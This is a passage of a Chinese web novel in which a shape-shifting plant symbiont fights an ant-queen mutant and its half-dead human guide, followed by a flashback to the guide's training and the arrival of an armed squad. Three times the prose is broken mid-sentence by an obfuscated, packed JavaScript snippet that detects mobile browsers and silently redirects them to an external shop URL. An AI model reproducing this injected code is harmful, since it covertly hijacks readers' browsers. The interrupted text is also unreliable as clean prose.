下一瞬，林岚原本所在的地方就只留下一道残影，整个人像是突然消失在原地。华音之前没有太过细看，这次聚精会神的盯着观察才发现对方其实并不能算是瞬移，只是在与共生体共鸣后将自身的速度提到了极致，动作加快了许多倍，导致在其他人看来像是瞬移一样。但这种能力大概也只是短时间内有限制的，因为他隔了一两秒会出现在一个位置短暂停留留下一个残影，然后再加速，再在另一个位置留下一个残影这样反复循环。 只是一对B级引导人和共生体就能有这样的能力，那么其他的呢？ 华音微微蹙眉。看来人类的世界并不好糊弄，他得更小心一点了。 短短十几秒，林岚已经从原先的位置转移到了蚁后前方不远处，落入蚁巢的时候比较突然，他身边并没有什么热武器，只有一把随身携带的匕首，他抽出那把匕首，朝着蚁后的头部狠狠劈下。 然而没什么用。那把匕首直接被弹飞了出去，蚁后的外皮看上去柔软，实际上非常滑腻厚实，刀根本扎不进去。 整这么一套花里胡哨的，结果连防都没破。 不过林岚本也不指望自己能越级打得过A级群体型的共生体，他一击不中，立刻发动共鸣，在身后工蚁群的包围圈合拢之前消失，出现在蚁后顶部的那具干尸面前。 虽然当前这具干尸看着差不多已经被吸收成人干了，但毕竟曾与蚁后结成共生链，她作为引导人体质有部分变化，也已经算不上是人类了，很有可能还吊着一口气。 “理慧！醒醒！”林岚推了推她。 对方眼睛紧紧闭着，似乎还有微弱的呼吸，但全无反应。 蚁后身体庞大，无法甩掉林岚，只能扭动着尖啸，越来越多的人蚁随之冲上来想要除掉这个附着在蚁后身上的人类。 努力尝试了几次始终没办法唤醒对方，眼见周围的人蚁越堆越多，几乎堵住他所有退路，林岚只得放弃唤醒她，准备先逃离蚁巢。 然而此刻，蚁后身上突然出现一道道白纹，蚁巢里一直安安静静充当装饰品的白色菌丝顿时疯狂生长起来，不知何时已经迅速蔓延到了林岚脚下，配合周围的蚁群将他围了起来。 白色菌网擦着他的后背落下，有少量菌丝沾到了他的衣服上，立刻开始延展、包裹。与小瞪羚的共鸣被这些菌丝干扰打断，身上的青纹褪去，林岚只来得及向旁边仓促闪躲。 蚁后也随之张开巨大的口器，朝着林岚咬了下来。 林岚闪身避开，将那些阻碍行动的菌丝扯下来，小瞪羚发出一声急促的鸣叫，冲向蚁后，试图为林岚争取逃脱时间。 但蚁后甚至没有看它一眼。 密密麻麻的人蚁以及尚未形成人形的半人蚁异种围在他们周围，它们的锯齿状上颚张开，像刀锋一样割过来。小瞪羚的速度虽快，但在狭窄的洞穴顶部根本没有碾转腾挪的空间，几次尝试冲锋开出生路都被逼退，时不时还要闪避枪/械子弹，身上都被咬出了不少伤。 “该死……”林岚咬牙站起来，他还是低估了A级异种的能力。这座蚁巢本身就是蚁后的主场，无处不在的菌丝还能干扰他的共鸣，他根本没有能与对方抗衡的能力，逃都不一定逃得出去。 他抬头再次看向理慧。 共生体与引导人之间的关系联结复杂，一生俱生，一死俱死。作为引导人的理慧还没死，这就意味着她与蚁后的共生链仍然有效，只不过当前意识已经完全被蚁后吞噬，不受自己控制而已。 那么……此时此刻，就到了发挥引导人最后作用的时候了。 林岚深吸一口气，唤了一声，“小羚！” 小瞪羚意会，脚下一蹬，跳回他肩上半趴着，身周再次出现水纹一样的扭曲纹路。林岚强行压制住菌丝对共鸣的干扰，整个人化作一道闪电一般迅速冲向蚁后。 只不过这一次他没有直接攻击蚁后本体，而是随手抢过一只人蚁手里的枪，瞄准了它身上的理慧。 即使蚁后已经吞噬引导人的意识，但先前的共生链仍然奏效，只要杀了引导人，就能让共生体一同殒命。 可惜枪声并没能响起。 那具始终紧闭着眼的干尸像是察觉到了危险一样蓦地睁开了眼睛，空洞的眼眶中亮起两点红光，她的嘴张开到一种人类无法张开的程度，几乎撕裂到耳侧，口中发出一声不似人声的尖啸。 那声音太过尖锐，几乎要把耳膜刺穿。华音在远处都不得不捂住耳朵，林岚离得最近，那声音就像一个尖锥直接扎进了他的大脑，耳朵顿时渗出了血，手上动作一顿，像是被定身一样定格在半空中，随后整个人从空中跌落，重重摔在蘑菇堆上骨碌碌一路滚了下来。 小瞪羚也被那道声音影响，从林岚的肩膀上跌落，在地上滚了几圈，躺在他的身边，四肢微微抽搐。 “……”华音看着落在他面前不远处的一人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486712|202052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一羊，无语凝噎。 这俩怎么老在自己面前受伤。 整半天还是得他自己来动手，亏他在后面默默加油鼓劲了半天。 他刚才一直在观察林岚与蚁后的交战，自然也看到了他最后想要向理慧开/枪的动作。 那不是具引导人的干尸吗？为什么林岚要杀一具干尸？ 干尸会尖叫吗？显然不会。 那么是什么原因导致林岚做出要杀死那个还没死的引导人的判断呢？ 难道杀死引导人会对共生体有什么影响？ 会死吗？ 华音的脑海中飞速闪过匪窟中的事，在他吃掉那只雪狼的时候那名为仇毅的引导人身上也出现了同样的伤痕，当时他还以为只是共生体受伤死亡会对引导人有影响，却没想到反过来也一样。 在荒原上，异种的生存能力普遍高于人类。如果杀死引导人就能杀死共生体，那引导人对于共生体而言无疑就是最大的弱点。 华音感觉事情有点不太美妙了。 如果真是这样，那就意味着自己也有这样一个自爆按钮。而那个按钮现在正在一个他无法探知到的非常遥远的地方……被一个他甚至不知道姓名，不清楚长相，不知道具体在哪里的人捏在手里。 且不提那人能不能安全活到自己寿终正寝，但凡突然生病了，太弱被干掉了，或者突然哪天就抑郁了心情不好了自杀了，连带着自己也要陪着一起去死。 这还有天理吗？ 等等，稳住。先别慌。 他短暂思考了下，还是决定通过蚁后和理慧来亲自试试，看看那到底是不是个自爆按钮。万一是自己猜错了呢？ 刚才那声音对其他人蚁异种显然也有不少影响，趁它们还没缓过来，华音悄悄将林岚和小羚羊拖进了蘑菇堆，小心翼翼的避开了那些还在缓慢蠕动的菌丝，生出几片花瓣包裹住，防止他被菌丝吃掉。 这些花瓣质地柔韧呈半透明状，像是一层薄薄的保鲜膜，能够隔绝菌丝的入侵，也能隐藏林岚的气息。 刚解决了一些问题，又冒出了一大堆问题，林岚还是挺有用的，人也够傻，有问必答，跟红皮书似的。就暂时先让他活着吧。 华音把林岚安置在蘑菇堆深处的一个凹陷处，确定菌丝无法触碰到他之后踩着那些菌茧，尽量避开蚁群在它们的视线盲区处迅速往上攀爬。 偶尔靠近几个人蚁的时候，微小的种子便从他身上飞散出来，悄悄附着在它们身上。 那些种子细如尘埃，随着他的呼吸飘散出去，无声无息的落在那些人蚁的身上，甚至直接飘入它们的口器中。没有一个人蚁能注意到这种种子的存在，它们太小了，小到这座巢穴种的菌丝网络都无法感知。 将自己的命运捏在他人手心实在是太危险了。他必须尽快成长起来恢复能量，再找到那该死的按钮。 在此之前，华音准备饱餐一顿，将这座巢穴变成他新的养料。 12. 初次见面 华音贴着菌床边缘，借着蘑菇堆和菌茧的掩护，一点一点向上挪动。 周围那些人蚁异种从刚才的尖啸中恢复过来，触角抖动，锁定到还有新的外来者，很快就反应过来追上了他。 被发现了。 华音刚起了这个念头，最近的一只人蚁已经张开锯齿状的上颚朝他扑了过来。它的动作很快，华音没有羚羊那种速度，就算及时反应过来侧身闪避，还是被切开了左臂外侧，一道深可见骨的伤口被对方刀锋一样的上颚割得翻卷开来，但伤口里面并没有血流出来。 伤口处露出的是淡粉色的嫩肉，像是被剥了痂的新生组织，边缘处微微发白。 那只人蚁也愣了一下，但它并没有足够的智力去理解眼前的人到底算是什么东西，只是依照蚁后的信息素指令继续攻击外来者。 其他人蚁也都陆陆续续反应过来，沿着菌床快速往华音所在的方向赶过来。 华音没有停下脚步，他知道自己不能再同一个位置停留过久，否则就会被包围，于是踩着凸起的蘑菇堆借力一跃，整个人腾空而起，一只手抓住了上方垂下来的菌丝，顺着往上荡了过去。 即使华音本身体重很轻，但这菌丝还是太脆弱了，很快就从顶部的菌床上断裂，华音在半空中晃了一下，落地时没能稳住，踉跄着落在蚁后前方不远处。 就是这一瞬间的停滞，十几只守卫在蚁后身边的人蚁同时扑了过来。 一时间他身上爬满了人蚁，右腿被咬住，直接将那条腿从膝盖以下被扯下来，断肢掉落在不远处，横截面处仍旧没有血，只有那种淡粉色像是肉又不太像肉的怪异组织。 有人蚁的上颚切入他的腹部，横向一拉，几乎将他拦腰截开。华音低头看了眼自己几乎被扯成散装几段的身体，表情没有任何变化，只是借着这股力顺势转身，用仅剩的右手抓住了其中一只人蚁的脑袋。 那只人蚁的复眼里倒映出他的脸。 那张脸苍白毫无血色，仍然漂亮得不可思议，嘴角甚至还噙着一丝笑，就好像正在被分尸的不是他自己一样。 华音的右手上生出半透明的巨大花瓣，裹住那只人蚁的脑袋，生生扯了下来。 那人蚁的身体抽搐了两下瘫软下去，身后更多的人蚁涌了上来。 子弹打在华音身上，在他的躯干上留下一个个密集的孔洞。他本就不快的速度因肢体的残缺被拖得更慢，但仍然在向前移动，用仅剩的右手和半条腿，拖着几乎只剩下上半截的身体，朝着蚁后的方向继续爬行。 那些人蚁显然被这诡异的景象震慑了一瞬，本能的感到不对劲，这要是人，散装成这样早该死透了。 蚁后本能的察觉到危险，警惕的看着那四肢断裂都仍在朝自己迅速接近的怪物，立刻下达指令让其他兵蚁上前来保护自己。 到达蚁后身前时，那原本漂亮的青年几乎只剩下了一颗脑袋和小半截身体。 不过好在他终于死透了。 黑斑爬上那具残破不堪的尸体。雪白的肢体因失去生机而迅速发黑腐烂，融于底下的菌床中，那被子弹打成筛子的脑袋歪了歪，朝它露出一个诡异的笑容。 蚁后微微低下头，巨大的口器悬在这具残骸上方，审视着这个奇怪的东西。颇有些不解，不明白他突然跑过来找死是在干什么。 底下的兵蚁群涌了过来，清理起那具已经烂得看不清人形的尸体。 胡小满也在其中。 他刚从先前尖啸的影响中反应过来，头还有点晕，接着就收到蚁后的信息素指令前去清理外来者的尸体，他看着那具焦黑的残骸，想起在白色平原时刚见到他时的模样，对方那温柔好听的声音，有点惋惜。 身上不知道为什么突然有点发痒。他停下与同伴一起清理尸体的动作，挠了挠自己的脖子。 但那股痒意却没有随之缓解，反而越来越痒，甚至像是深入到了身体内部。 痒得要命，痒到他想要把自己整张皮都剥下来。他已经顾不上别的了，两只手都开始在身上拼命抓挠。 皮肤被尖利的指甲划破，露出里面猩红的血肉，里面似乎有什么东西正在以他的身体为温床，迅速生长起来。 一朵朵苞眼从他血肉里钻出来，转瞬间便将他覆盖，细白的枝干以肉身为基底向上延伸，鳞片状的半透明苞片一层一层往外叠，没过多久，胡小满就成了一团人形的白色花簇。 花簇接着舒展开，凝实，变得白皙柔嫩，像人的皮肤。很快，它就取代了胡小满，逐渐化形成一个崭新的“华音”。 异种吃人，他吃异种，再正常不过的事情。这个年轻的工蚁异种很快就被华音取代，成了对方的新容器。 整个替换过程非常短暂，也就几秒的事。 他原本就距离蚁后很近，人蚁和蚁后的注意力又都集中在那具已经腐化发黑的尸体上，并没能及时注意到胡小满这边的变化。 于是他就在那短短的几秒内快速接近蚁后，抽出胡小满身上的短刀，以蚁后的口器为垫脚石，踩着往上一跳，手中短刀径直瞄准那具干尸的脖颈。 之前种在其他人蚁体内的种子也在同时生长起来。华音已经做好了准备，一旦蚁后再次使用刚才对付林岚的那招，就随时准备放弃这具身体转移到其他人蚁身上继续。 可出乎华音意料，直到短刀即将割断那具干尸的脖子，它都没有再尖叫。 那具干尸原本空洞的眼睛突然变得有一瞬清明，身体仍旧干瘪，脸上的皮肤不知为何又丰盈起来，形成一个年轻女人的样貌。 短刀切入脖颈，再往里一寸就能割断她的喉管，彻底杀了她。可握着刀的手却不知为何有一瞬迟疑。 华音莫名觉得这女人长得有点眼熟，好像……好像在哪曾见过她。 …… ———————————— 房间很大很空旷，里面只有一个巨型生态箱。足有十几米高，蚁巢以横截面的形式平铺着展开在那生态箱中，让外面的人能清晰看到里面蚁群的生态。 蚁后位于最深处，几乎与一个成年人同等大小，它不断蠕动着产卵，小型工蚁一刻不停的替它清洁身体，照顾新生的幼虫，其他工蚁则从投喂区不断切割新鲜的叶片搬运回蚁巢，分工明确。 小女孩有着一头乌黑的长发，她趴在那巨型生态箱前，看着蚁巢深处那只硕大的蚁后，说：“她好可怜。” 一个身穿白大褂的男人站在她身边，“这是它们的生存方式，有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486713|202052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么可怜的。” “可是……她一辈子就只能困在那里，不断的产卵……没办法动，也没办法做别的事了。” “但它也创造了一个属于它的王国。” 小女孩扁了扁嘴，“可要是她不想要王国，只想要出去走走呢？” “那它就不会选择与你结成共生链，来延续它子民的生机了。” “好吧。”小女孩转过头看向男人，“老师。既然共生体能变得和人一样，那是不是能和引导人成为朋友呢？我可以和她成为朋友吗？” “或许确实有这样的吧。不过还是不要太过浪漫化这样的关系比较好。”男人摸了摸小女孩的头，“这是生死博弈，不是玩朋友游戏。这些共生体即使有一天能变得像人一样，本质上也不是人，比起同伴，更像是因利益或是某方面达成共识而建立的一种为了生存下去而互利共生的关系。” “一旦一方衰弱，另一方就很有可能抛弃这段关系重新寻找更合适的伙伴。”他顿了顿，提醒道：“所以……理慧。你可以与它共情，毕竟这是你与它结成共生链的契机。但不要同情你的共生体，更不能太过依赖你的共生体。你要保持你的意识足够稳定清醒，你要将缰绳牵在手里引导你的共生体，而不是被你的共生体套上项圈。” 他弯下腰直视着小女孩，语气温和，却有种慑人的压迫感，“理慧，你能做到的。对吧？” 小女孩努力点了点头，“我会加油的！” 她又有些好奇的看着环绕在男人身边的各种奇奇怪怪的生物，“老师……我只有一个共生体有时候都会被她的意识影响……您有那么多共生体，又是怎么做到一直维持理性的呢？您也会有迷茫的时候吗？” “没有人能永远保持理性，或早或晚而已，也许迟早有一天我也会是异种的一员。”男人笑了笑，开玩笑似的说：“到时候说不准就要靠你们来回收我啦。” “不会的不会的！老师永远是最厉害的！”理慧捂着耳朵假装没听到后面那句话。 “记住。”他收了笑，正色道：“我们是薪火。在彻底化为灰烬之前，利用好这份得之不易的能力。” “为了我们所珍惜的一切能继续存续。” 她似懂非懂，但也跟着重复，“为了我们所珍惜的一切能继续存续。” …… ———————————————— 画面在此戛然而止，一阵让他心悸的危机感突然从背后传来。 华音瞳孔微缩，立刻舍弃短刀闪身避让开。 “轰！——” 一声巨响，原本所在的位置被轰出一个大洞。 蚁后以及那名为理慧的女性干尸连带着都被轰掉了一半。由于靠得太近，蚁后体内未成熟的卵以及一些白色脂肪体泼了华音一头一脸。 他黑着脸抹掉，忍着怒气回过头看向那一炮的罪魁祸首。 下方，一个全身上下一身黑的男人将手上的机械炮筒再次对准了华音，“你是人还是异种？回答。” 这话问得有点奇怪。 但华音没心情思考他为什么问这样一句话。 只想着…… 林岚先往后稍稍。他要先宰了这不长眼的家伙。 13. 火力压制 下方赶来的黑衣人其实并不算多，粗略扫过去，看着也就几十个人，但这些人进入蚁巢如入无人之境，甚至还短时间内在蚁巢上面开了个洞，洞口处不知何时出现了几条硕大的树根，铺设出一条通道，让上方的装甲车能通过洞口运送进来。 那些黑衣人训练有素的打开装甲车后厢。 下一刻，密集如蜂群的微型僚机不断从中飞出来，聚集在为首的面罩黑衣人身边。 这些僚机呈方块状，每一个都不过巴掌大小。中间有一块小显示屏，屏幕上有三个红点，构成一个三角形状，与那面罩人的战术目镜上闪烁的图形一致。 华音只觉得这人的出现好有违和感。 先前在103基地以及和林岚的对话中基本能得知在异变潮后，这个世界陷入了一段漫长黑暗的混乱时期，文明程度一度倒退到旧蒸汽时代，连枪/械都成为稀有物，只有基地成员能每人分配一把用以防身和清理基地周围的异种，而且也都是型号非常古早的冲锋枪或者轻型机枪，每月分配的子弹配额固定且有限，用完了只能通过其他方式去交易。 而眼前这人一身装备就不像是这个时代会出现的，枪/械子弹也跟不要钱似的。 就好像原始社会人猿拿着棍棒打架，突然空降一个赛博机器人开始发射光波突突突，非常诡异。 华音的目光越过那面罩人，往他身后扫了眼。 黑衣人队伍里站着一个中年男人，大约三四十岁的年纪，穿着一件明黄色的花衬衫，在一水的黑色战斗服中格外扎眼。这人气质儒雅，眉目含笑，见华音看过来，朝他友好的挥了挥手。 除了他之外，其他人都是面色凝重，一个个看起来身份也都不一般，不太好对付。 华音快速盘算起来。根据先前的探查，他能感知到自己的引导人很可能位于比较内环的人类基地，甚至可能是在林岚所说的核心母城里，现在还不是跟人闹掰的时候。于是他强行按捺下翻涌的杀机，回答了面罩人先前的问题：“我是引导人！” 对方脸上罩得严严实实，还戴着一副黑色的战术目镜，让人看不清他的视线具体停留在何处。华音猜测他大概是在打量自己，他不动声色的将原本只是外表拟作的人形内部也构建起与人类无异的器官，在身后还模拟出被人蚁割伤形成的伤口，让自己尽量看起来像是个真人。 秦铮默默注视了他一会，大概是相信了他的话，转而将武器瞄准一旁正在重新凝结起来的蚁后，那些悬停在半空中的微型僚机机身上的枪口也都随之转移目标。 “退后。”秦铮的声音透过机械面罩传出来。 华音吁出一口气，迅速从蚁后身旁撤离。 下一秒，枪声铺天盖地的响起。 之后的一切几乎就跟推土机平推一样进展顺利。蚁后恢复的速度根本跟不上对面的火力压制。 那些黑衣人站作一排，抗着火枪，一寸寸烧过蚁巢和菌床。火舌转瞬间就将蚁群辛苦建设多年的巢穴烧得面目全非。 人蚁面对这些东西毫无反击之力。它们扑上去，用身体去挡火焰，阻止外来者破坏它们的家园，但一切都只是徒劳，火舌转瞬间就将它们吞没。更多的蚁群围拢在蚁后身边，用身体组成一座血肉之墙试图保护它们的女王，最终也只能无力的连同它们的女王一起化为焦黑的残骸。 这一幕为保护家园而无畏赴死的情景甚至有点悲壮，让华音都有些不忍心看。 他转过头，有点肉疼。先前下过种子的人蚁也都被这些家伙给烧没了。 按这面罩人赶尽杀绝的做法，他可没多少身体能用了，他得想办法保住剩下的。 “那些菌茧里还有活人。”华音走近那那为首的面罩人，提醒他。眼看着那些火枪就要烧到林岚藏身的位置了，先前一起的司机一行人虽然昏睡不醒，但应该也还有得救。 对方却仍旧站在那里一动不动，目不斜视的注视着前方清扫队的工作进程，完全没有要救人的意思。 “……”有那么一瞬间，华音都有点怀疑他是异种还是眼前这个面罩人是异种了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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